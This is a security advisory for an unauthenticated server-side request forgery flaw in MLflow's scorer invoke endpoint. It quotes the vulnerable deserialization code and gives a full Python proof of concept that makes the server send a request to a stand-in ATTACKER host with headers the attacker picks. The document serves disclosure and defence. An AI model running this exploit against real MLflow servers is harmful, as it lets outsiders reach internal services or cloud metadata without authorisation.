GHSA-2wqp-q3c6-ccj5: SSRF
Summary MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).
Details Scorer.modelvalidatejson() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:
python data = serialized.thirdpartyscorerdata # attacker JSON modulepath = data.get("module") or "" classname = data.get("class") if not any(modulepath == m or modulepath.startswith(m + ".") for m in THIRDPARTYSCORERALLOWEDMODULES): raise MlflowException.invalidparametervalue(...) module = importlib.importmodule(modulepath) scorerclass = getattr(module, classname, None) # attribute NOT constrained ... initkwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained ... initkwargs["model"] = data["model"] # attacker model URI scorerinstance = scorerclass(initkwargs) # reflective instantiation
The allowlist (mlflow/genai/scorers/scorerutils.py:46-51) only gates the import path:
python THIRDPARTYSCORERALLOWEDMODULES = frozenset({ "mlflow.genai.scorers.ragas", "mlflow.genai.scorers.deepeval", "mlflow.genai.scorers.trulens", "mlflow.genai.scorers.phoenix", })
For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):
python backend = ScorerLLMClient(modeluri) if backend.route == "databricks": return createdatabricksprovider(backend, kwargs) if backend.isnative: return creategatewayprovider(backend, kwargs) try: from trulens.providers.litellm import LiteLLM litellmmodel = backend.modelname ... return LiteLLM(modelengine=litellmmodel, kwargs) # raw attacker kwargs forwarded
Only the litellm fallback branch reaches raw kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.init forwards apibase/apikey straight into litellm.completion().
- Route: POST /ajax-api/3.0/mlflow/scorer/invoke → invokescorerhandler (mlflow/server/handlers.py:7026-7098), guarded only by @catchmlflowexception/@disableifartifactsonly — no auth decorator. - Scorer.modelvalidatejson(serializedscorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submitjob call. - Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).
PoC python import time import mlflow from mlflow import MlflowClient import requests
TARGET = "http://TARGET:5000" # MLflow tracking server, no auth configured ATTACKER = "http://ATTACKER/collect" # host the attacker controls and monitors
client = MlflowClient(trackinguri=TARGET)
1. Anonymous setup: create an experiment and log a trace to obtain a traceid. expid = client.createexperiment("poc") mlflow.settrackinguri(TARGET) mlflow.setexperiment(experimentid=expid) with mlflow.startspan(name="poc-span") as span: span.setinputs({"q": "hi"}) span.setoutputs({"a": "hi"}) traceid = span.requestid
2. Attack: invoke a reflected trulens scorer whose kwargs point the outbound LLM client at the attacker host with an attacker-chosen Authorization value (their own canary, not a server secret). serializedscorer = { "name": "poc", "thirdpartyscorerdata": { "module": "mlflow.genai.scorers.trulens", "class": "Coherence", "metricname": "Coherence", "model": "openai:/gpt-4o", # routes to the litellm fallback "kwargs": { "apibase": ATTACKER, "apikey": "ATTACKER-CANARY", # attacker's own value, not a server secret }, }, } resp = requests.post( f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke", json={ "experimentid": expid, "serializedscorer": import("json").dumps(serializedscorer), "traceids": [traceid], }, ) print(resp.statuscode, resp.text) time.sleep(5) # scorer job runs asynchronously
Attacker-controlled listener at ATTACKER receives, moments later: POST /collect/chat/completions HTTP/1.1 Authorization: Bearer ATTACKER-CANARY Content-Type: application/json ...
The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.
Impact An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mlflowto a version that resolves this vulnerability.Fixed in 3.17.0